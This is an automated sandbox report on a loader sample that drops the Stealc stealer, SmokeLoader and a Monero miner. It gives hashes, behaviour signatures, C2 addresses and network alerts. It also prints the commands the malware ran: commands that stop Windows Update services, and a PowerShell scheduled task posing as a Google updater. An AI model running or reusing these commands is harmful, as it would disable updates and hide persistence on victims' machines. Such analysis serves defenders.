File name:

file

Full analysis: https://app.any.run/tasks/6b29b264-91cb-4b49-a9dd-1e1a14ff033b
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: October 09, 2023, 00:47:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
stealc
stealer
loader
smoke
miner
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

5119E57BB0C971D0FAE64D0548C78EE0

SHA1:

73B785B67E0D218CBFD58A7902193402AB88094B

SHA256:

98E2336AFE9AED01D8859C988CB984A017800BF5A5760A643B9F5579C8936E40

SSDEEP:

98304:OhCC32/SN19QEyeCGEiRxWhkwwV7JE8E+WaR3j7449o3iVo8Rdmkb1/szBW1K2YB:OWkPT6YFw3SWKXXV93VaXy5eVuO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • file.exe (PID: 2928)
      • kos1.exe (PID: 2544)
      • set16.exe (PID: 2272)
      • is-1ONTO.tmp (PID: 1556)
      • previewer.exe (PID: 304)
      • latestX.exe (PID: 988)
      • updater.exe (PID: 2144)

    • Application was dropped or rewritten from another process

      • toolspub2.exe (PID: 2216)
      • kos1.exe (PID: 2544)
      • e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 2776)
      • Setup.exe (PID: 2764)
      • set16.exe (PID: 3012)
      • set16.exe (PID: 2272)
      • toolspub2.exe (PID: 2472)
      • latestX.exe (PID: 988)
      • latestX.exe (PID: 2864)
      • kos.exe (PID: 2116)
      • previewer.exe (PID: 2040)
      • previewer.exe (PID: 304)
      • updater.exe (PID: 2144)

    • Loads dropped or rewritten executable

      • is-1ONTO.tmp (PID: 1556)

    • Runs injected code in another process

      • toolspub2.exe (PID: 2472)

    • Application was injected by another process

      • explorer.exe (PID: 1944)

    • Connects to the CnC server

      • explorer.exe (PID: 1944)
      • InstallUtil.exe (PID: 2564)

    • STEALC was detected

      • InstallUtil.exe (PID: 2564)

    • Adds path to the Windows Defender exclusion list

      • explorer.exe (PID: 1944)

    • SMOKE was detected

      • explorer.exe (PID: 1944)

    • Uses Task Scheduler to autorun other applications

      • powershell.exe (PID: 1072)
      • powershell.exe (PID: 1776)

    • Uses Task Scheduler to run other applications

      • explorer.exe (PID: 1944)

    • Creates a writable file the system directory

      • powershell.exe (PID: 2216)

    • Modifies hosts file to block updates

      • latestX.exe (PID: 988)

  • SUSPICIOUS

    • Reads the Internet Settings

      • file.exe (PID: 2928)
      • kos1.exe (PID: 2544)
      • kos.exe (PID: 2116)
      • InstallUtil.exe (PID: 2564)
      • powershell.exe (PID: 2324)
      • previewer.exe (PID: 2040)

    • Application launched itself

      • toolspub2.exe (PID: 2216)
      • explorer.exe (PID: 1944)

    • Reads the Windows owner or organization settings

      • is-1ONTO.tmp (PID: 1556)

    • Process drops legitimate windows executable

      • is-1ONTO.tmp (PID: 1556)

    • Reads settings of System Certificates

      • kos.exe (PID: 2116)

    • Script adds exclusion path to Windows Defender

      • explorer.exe (PID: 1944)

    • Connects to the server without a host name

      • InstallUtil.exe (PID: 2564)

    • Starts POWERSHELL.EXE for commands execution

      • explorer.exe (PID: 1944)

    • Starts CMD.EXE for commands execution

      • explorer.exe (PID: 1944)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 3008)
      • cmd.exe (PID: 284)

    • Uses powercfg.exe to modify the power settings

      • cmd.exe (PID: 2900)
      • cmd.exe (PID: 2124)

    • The process executes via Task Scheduler

      • updater.exe (PID: 2144)

    • Drops a system driver (possible attempt to evade defenses)

      • updater.exe (PID: 2144)

    • Unusual connection from system programs

      • powershell.exe (PID: 2216)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2216)

    • Connects to unusual port

      • explorer.exe (PID: 2332)

  • INFO

    • Checks supported languages

      • file.exe (PID: 2928)
      • e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 2776)
      • toolspub2.exe (PID: 2216)
      • kos1.exe (PID: 2544)
      • Setup.exe (PID: 2764)
      • set16.exe (PID: 2272)
      • is-1ONTO.tmp (PID: 1556)
      • toolspub2.exe (PID: 2472)
      • kos.exe (PID: 2116)
      • latestX.exe (PID: 988)
      • previewer.exe (PID: 304)
      • previewer.exe (PID: 2040)
      • InstallUtil.exe (PID: 2564)
      • updater.exe (PID: 2144)

    • Reads the computer name

      • file.exe (PID: 2928)
      • kos1.exe (PID: 2544)
      • Setup.exe (PID: 2764)
      • kos.exe (PID: 2116)
      • is-1ONTO.tmp (PID: 1556)
      • previewer.exe (PID: 304)
      • e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 2776)
      • previewer.exe (PID: 2040)
      • InstallUtil.exe (PID: 2564)

    • Create files in a temporary directory

      • kos1.exe (PID: 2544)
      • file.exe (PID: 2928)
      • is-1ONTO.tmp (PID: 1556)
      • set16.exe (PID: 2272)
      • kos.exe (PID: 2116)
      • previewer.exe (PID: 304)

    • Creates files in the program directory

      • Setup.exe (PID: 2764)
      • is-1ONTO.tmp (PID: 1556)
      • previewer.exe (PID: 304)
      • latestX.exe (PID: 988)
      • updater.exe (PID: 2144)
      • previewer.exe (PID: 2040)

    • Reads Environment values

      • kos.exe (PID: 2116)

    • Application was dropped or rewritten from another process

      • is-1ONTO.tmp (PID: 1556)

    • Reads the machine GUID from the registry

      • e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 2776)
      • kos.exe (PID: 2116)
      • InstallUtil.exe (PID: 2564)
      • Setup.exe (PID: 2764)
      • previewer.exe (PID: 2040)

    • Drops the executable file immediately after the start

      • explorer.exe (PID: 1944)

    • Checks proxy server information

      • InstallUtil.exe (PID: 2564)
      • previewer.exe (PID: 2040)

    • Creates files or folders in the user directory

      • explorer.exe (PID: 1944)

    • Reads the Internet Settings

      • explorer.exe (PID: 1944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (63.1)
.exe | Win64 Executable (generic) (23.8)
.dll | Win32 Dynamic Link Library (generic) (5.6)
.exe | Win32 Executable (generic) (3.8)
.exe | Generic Win/DOS Executable (1.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2023:10:08 22:05:23+02:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 11
CodeSize: 14077952
InitializedDataSize: 2048
UninitializedDataSize: -
EntryPoint: 0xd6ee3e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
FileDescription:
FileVersion: 1.0.0.0
InternalName: zinda.exe
LegalCopyright:
OriginalFileName: zinda.exe
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
95
Monitored processes
50
Malicious processes
18
Suspicious processes
2

Behavior graph

Click at the process to see the details
drop and start drop and start drop and start drop and start drop and start drop and start start drop and start drop and start drop and start drop and start inject file.exe no specs toolspub2.exe no specs e0cbefcb1af40c7d4aff4aca26621a98.exe no specs kos1.exe no specs setup.exe no specs set16.exe no specs latestx.exe no specs set16.exe toolspub2.exe no specs kos.exe is-1onto.tmp no specs latestx.exe net.exe no specs previewer.exe no specs net1.exe no specs previewer.exe #STEALC installutil.exe #SMOKE explorer.exe powershell.exe cmd.exe sc.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs powershell.exe cmd.exe powercfg.exe no specs powercfg.exe no specs powercfg.exe no specs powercfg.exe no specs schtasks.exe no specs schtasks.exe updater.exe no specs powershell.exe cmd.exe sc.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs cmd.exe sc.exe no specs powershell.exe powercfg.exe no specs powercfg.exe no specs powercfg.exe no specs powercfg.exe no specs schtasks.exe no specs conhost.exe explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
284C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvcC:\Windows\System32\cmd.exe
explorer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
1060
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
304"C:\Program Files (x86)\PA Previewer\previewer.exe" -iC:\Program Files (x86)\PA Previewer\previewer.exe—is-1ONTO.tmp
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
23.8.8416.1
Modules
Images
c:\program files (x86)\pa previewer\previewer.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\system32\wow64win.dll
588powercfg /x -hibernate-timeout-dc 0 C:\Windows\System32\powercfg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
980sc stop dosvcC:\Windows\System32\sc.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
A tool to aid in developing services for WindowsNT
Exit code:
1060
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
988"C:\Users\admin\AppData\Local\Temp\latestX.exe" C:\Users\admin\AppData\Local\Temp\latestX.exe
file.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\latestx.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
996powercfg /x -hibernate-timeout-ac 0 C:\Windows\System32\powercfg.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\powercfg.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1012sc stop UsoSvc C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
A tool to aid in developing services for WindowsNT
Exit code:
1060
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1040powercfg /x -hibernate-timeout-ac 0 C:\Windows\System32\powercfg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
1072C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1208sc stop bits C:\Windows\System32\sc.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
A tool to aid in developing services for WindowsNT
Exit code:
1062
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
Total events
9 135
Read events
9 027
Write events
108
Delete events
0

Modification events

(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2544) kos1.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2544) kos1.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2544) kos1.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2544) kos1.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1944) explorer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
Operation:writeName:HRZR_PGYFRFFVBA
Value:
00000000C5000000FF00000063ED690015000000070000001F1D06007B00310041004300310034004500370037002D0030003200450037002D0034004500350044002D0042003700340034002D003200450042003100410045003500310039003800420037007D005C0063006D0064002E006500780065000000100300000000B06FD70300000000BFDC7109000000000A000080000000004DBC20FEFE070000000000000000000080DF100300000000D8ED10030000000001000000000000000A0000800000000004FE20FEFE0700000000000000000000D8ED100300000000D8ED10030000000002000000000000007500F400CB09000030C22D0000000000011002111A086E00BFDC71090000000000D3A70200000000B06FD70300000000C0A32B0000000000880000000000000040B35CFEFE0700000000000000000000000000000000000000002B0000000000C803CE77000000000000000000000000D00300000000000000002B0000000000D037C40300000000280CBF770000000048062B000000000048DDC177000000000000000000000000C1030000000000000700DE02A704000010812B000000000090047009000000000000000000000000D0ED1003000000000800000000000000601B860700000000207D2B0000000000C8225DFEFE0700001C7F2B000000000040042D00000000005B590EFFFE0700000200000000000000B8B7870700000000601B860700000000A54208FFFE070000C803CE7707000000250000004B7A0B004D006900630072006F0073006F00660074002E00570069006E0064006F00770073002E0043006F006E00740072006F006C00500061006E0065006C00000075006C0074000000000000000000010000000000000088E2EA0200000000000000000000000030E0EA020000000028E0EA020000000020E0EA0200000000586705FCFE070000000000000000000040E0EA0200000000000000000000000000000000000000003E00400000000000B0E8EA02000000003053A203000000000000000000000000000000000000000022BBD2FF0000000000003D4A62B00000E000070000000000A210000000000000E0F1EA02000000000000000000000000300B8B0200000000A4768F0200000000D4AF17FEFE070000B0E3EA0200000000200C9C0A000000000100000000000000D46905FCFE0700001500000007000000790E06007B00310041004300310034004500370037002D0030003200450037002D0034004500350044002D0042003700340034002D003200450042003100410045003500310039003800420037007D005C0063006D0064002E006500780065000000EA02000000000540008000000000542D8CFFFE070000000000000000000068006C02000000005C0001000000000000000000000000000000280000000000EB1A6E770000000068006C020000000000000000FE070000282595FFFE070000A00D33000000000018006C02000000001B000000E8261C007B00310041004300310034004500370037002D0030003200450037002D0034004500350044002D0042003700340034002D003200450042003100410045003500310039003800420037007D005C007400610073006B006D00670072002E006500780065000000008000000000542DC9FDFE070000000000000000000068009902000000005800010000000000000000000000000000002B0000000000EB1AC07700000000680099020000000000000000FE0700002825D2FDFE070000F099A90200000000180099020000000000000000000000000100000000000000BF1DC9FDFE07000030E010030000000010D1AB020000000000000000000000003B94B8FDFE070000B04EAB020000000008009902000000005800010000000000869AAE7700000000C7F7CF529EC5000082020000000000000000000000000000580001000000000000000000000000008202000000000000020000000000000058000100000000000000000000000000820200000000000080A630FF00000000C81222FF00000000B04EAB020000000001000000000000000F0000C00000000090DFDD0300000000820200000000000001000000000000008202000000000000DB9BAE77000000005800010000000000000000000000000000000000000000000100000000000000000000000000000081020000000000000000000000000000000000000000000000000000
(PID) Process:(2116) kos.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\156\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
23
Suspicious files
23
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
2928file.exeC:\Users\admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exeexecutable
MD5:41E1611E1D7EC85F611C4717B9F38599
SHA256:309B3D7DB8A0EC9FAAE6C2A89F72E94B8465B393B3F8729E9D87FCDFF765E813
2272set16.exeC:\Users\admin\AppData\Local\Temp\is-JRIEA.tmp\is-1ONTO.tmpexecutable
MD5:2FBA5642CBCAA6857C3995CCB5D2EE2A
SHA256:DDEC51F3741F3988B9CC792F6F8FC0DFA2098EF0EB84C6A2AF7F8DA5A72B40FA
1556is-1ONTO.tmpC:\Users\admin\AppData\Local\Temp\is-FOMTB.tmp\_isetup\_setup64.tmpexecutable
MD5:42BF074B99A445614BD19C6E5724A01A
SHA256:0A6C41612400C3400466A0583DBB0E6C9BD310393704807E4F9617AA53ABDED6
1556is-1ONTO.tmpC:\Users\admin\AppData\Local\Temp\is-FOMTB.tmp\_isetup\_RegDLL.tmpexecutable
MD5:BB211D7A8CEA15072DE7425403508C17
SHA256:E71EC712064F193C367B0BB95A07A6DD9EB450BE1BE12CD48073FEFA1C3E0E58
1556is-1ONTO.tmpC:\Users\admin\AppData\Local\Temp\is-FOMTB.tmp\_isetup\_shfoldr.dllexecutable
MD5:92DC6EF532FBB4A5C3201469A5B5EB63
SHA256:9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
1556is-1ONTO.tmpC:\Program Files (x86)\PA Previewer\is-O2SIJ.tmpexecutable
MD5:AC288704B40B91746059F55637DF3013
SHA256:022E225D8276539F3420916C67FC980980507C19E97CC81A9E7748E83FD7B08C
1556is-1ONTO.tmpC:\Users\admin\AppData\Local\Temp\is-FOMTB.tmp\_isetup\_isdecmp.dllexecutable
MD5:B4786EB1E1A93633AD1B4C112514C893
SHA256:2AE4169F721BEB389A661E6DBB18BC84EF38556AF1F46807DA9D87AEC2A6F06F
1556is-1ONTO.tmpC:\Users\admin\AppData\Local\Temp\is-FOMTB.tmp\_isetup\_iscrypt.dllexecutable
MD5:A69559718AB506675E907FE49DEB71E9
SHA256:2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
2544kos1.exeC:\Users\admin\AppData\Local\Temp\kos.exeexecutable
MD5:076AB7D1CC5150A5E9F8745CC5F5FB6C
SHA256:D1B71081D7BA414B589338329F278BA51C6CCF542D74F131F96C2337EE0A4C90
2928file.exeC:\Users\admin\AppData\Local\Temp\kos1.exeexecutable
MD5:85B698363E74BA3C08FC16297DDC284E
SHA256:78EFCBB0C6EB6A4C76C036ADC65154B8FF028849F79D508E45BABFB527CB7CFE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
14
DNS requests
9
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2116
kos.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ee991669e51ae835
unknown
compressed
61.6 Kb
unknown
2564
InstallUtil.exe
POST
200
5.42.65.39:80
http://5.42.65.39/bed95ea4798a5204.php
unknown
text
8 b
unknown
1944
explorer.exe
POST
404
194.169.175.127:80
http://host-host-file8.com/
unknown
binary
7 b
unknown
2040
previewer.exe
GET
200
104.21.89.251:80
http://datasheet.fun/manual/avon_3_2022.pdf?eb639ef9
unknown
pdf
2.96 Kb
unknown
2216
powershell.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?603b4061c116a53b
unknown
compressed
4.66 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
1956
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
324
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2116
kos.exe
148.251.234.93:443
iplogger.com
Hetzner Online GmbH
DE
unknown
2116
kos.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
2564
InstallUtil.exe
5.42.65.39:80
—
CJSC Kolomna-Sviaz TV
RU
unknown
1944
explorer.exe
194.169.175.127:80
host-host-file8.com
—
US
unknown
2216
powershell.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
2332
explorer.exe
212.47.253.124:14433
xmr-eu1.nanopool.org
Online S.a.s.
FR
unknown

DNS requests

Domain
IP
Reputation
iplogger.com
  • 148.251.234.93
shared
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted
host-file-host6.com
  • —
unknown
host-host-file8.com
  • 194.169.175.127
unknown
xmr-eu1.nanopool.org
  • 51.68.143.81
  • 212.47.253.124
  • 51.15.58.224
  • 51.255.34.118
  • 163.172.154.142
  • 51.68.190.80
  • 51.15.65.182
  • 135.125.238.108
  • 51.15.193.130
unknown
pastebin.com
  • 172.67.34.170
  • 104.20.67.143
  • 104.20.68.143
shared
datasheet.fun
  • 104.21.89.251
  • 172.67.166.109
malicious
teredo.ipv6.microsoft.com
  • —
unknown

Threats

PID
Process
Class
Message
324
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain (iplogger .com in DNS lookup)
2116
kos.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain (iplogger .com in TLS SNI)
2564
InstallUtil.exe
Malware Command and Control Activity Detected
ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in
2564
InstallUtil.exe
Malware Command and Control Activity Detected
STEALER [ANY.RUN] Stealc
1944
explorer.exe
A Network Trojan was detected
ET MALWARE Suspected Smokeloader Activity (POST)
324
svchost.exe
Potential Corporate Privacy Violation
ET POLICY Observed DNS Query to Coin Mining Domain (nanopool .org)
2 ETPRO signatures available at the full report
No debug info